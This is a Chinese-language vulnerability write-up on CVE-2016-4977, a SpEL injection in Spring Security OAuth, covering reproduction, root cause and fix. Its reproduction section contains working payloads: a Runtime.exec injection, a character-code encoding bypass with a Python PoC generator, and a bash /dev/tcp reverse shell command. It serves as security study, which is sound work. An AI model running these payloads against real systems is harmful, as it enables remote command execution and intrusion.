0x01   背景

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,在7月5日其维护者发布了这样一个升级公告,主要说明在用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录

SpEL表达式注入!

(1)受影响版本

org.springframework.security.oauth - spring-security-oauth2

  • 2.0.0 to 2.0.9
  • 1.0.0 to 1.0.5

maven仓库看了看,发现2.0.X是2016年2月发的包,也就是说发布后半年左右被挖出来有漏洞。从这一点,我们也能得出一个结论:黑客并不是时时刻刻在关注官方更新,也就是说:真实世界的0day漏洞,总是有机会被你挖到的。

1.X是全系有漏洞。

0x02    漏洞复现

(1)小坑

既然是SpEL注入,那尝试直接执行命令吧。下面是尝试执行id命令的结果

${T(String).forName("java.lang.Runtime").getRuntime().exec('id')}

很奇怪——并没有回显,也并不像执行成功了的样子,具体原因,咱们再后续分析的时候跟进一下,此处先按住不表。

(2)绕过

既然由于某种原因,无法直接执行命令,于是考虑采用ASCII码来绕过,类似于JS中的String.fromCharCode(65) => "A"

T(java.lang.Character).toString(65)	=> 'A'

接着,命令不止一个字母——需要将一个个字母连接起来,利用.concat()函数,

T(Character).toString(65).concat(T(Character).toString(66)) => 'AB'

(3)Exploit

由于Java下面exec函数对空格的解析原因,反弹shell的命令要转换一下。

参考阅读

目前有两种简便易行的办法。方法一,使用${IFS}替代三处空格。

bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/443 0>&1

方法二,在这里编码你要执行的命令

通过上面的编码之后,再用下面的PoC.py进行编码、发送即可

#!/usr/bin/env python
# plz base64_encode the payload via {http://www.jackson-t.ca/runtime-exec-payloads.html}
payload

payload = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(payload[0])

for ch in payload[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

发送payload,反弹shell成功。

(4)PoC

有时候,我们并不需要反弹shell,只需要证明能执行命令即可。下面就是一段适合验证的PoC,作用是延时10s.

${T(java.lang.Thread).sleep(10000)}

0x03    漏洞分析

好了,终于进入喜闻乐见的看代码环节。

参考seebug的文章中“环境搭建”的步骤,从http://secalert.net/research/cve-2016-4977.zip下源码,进入idea,开始调试!

首先是基本流程:

error变量里的一个键值是可控的,然后SpElView的构造函数里头,就是关键点。

递归解析${}表达式,如下图:代码里嵌套解析多层表达式

代码里的while递归…

本来用户的输入不是完全可控的表达式,形如${padding+USER_INPUT+padding}这样子的。

但问题在于:一方面解析规则会递归地去寻找${,另一方面,用户的输入也可以有${——这就导致攻击者可以构造出完整的SpEL表达式,实现RCE

0x04    漏洞修复

https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d

prefix,是随机生成的6位随机数。

也就是说:每次解析Spel表达式的时候,都会生成一个随机的“定界符”——random{,用来替代原本的${,同样是递归解析的情况下,攻击者就没法伪造出定界符让解析器去解析了。

但是由于随机数是每次请求都重新生成,个人认为也没办法爆破吧,seebug的那篇文章中可以爆破的观点,我不敢苟同。

0x05 总结

这个漏洞,本质上还是数据、代码之间界限被打乱了,用户可控的变量,原本作为是数据的$errorSummary,会被递归解析;解析器本应该保证变量里不含有${,否则攻击者就能完全控制Spel表达式,进而命令执行。

Refs

  1. https://secalert.net/#CVE-2016-4977
  2. https://paper.seebug.org/70/
  3. https://tanzu.vmware.com/de/security/cve-2016-4977
  4. 特别感谢vulhub制作的漏洞复现环境 https://vulhub.org/#/environments/spring/CVE-2016-4977/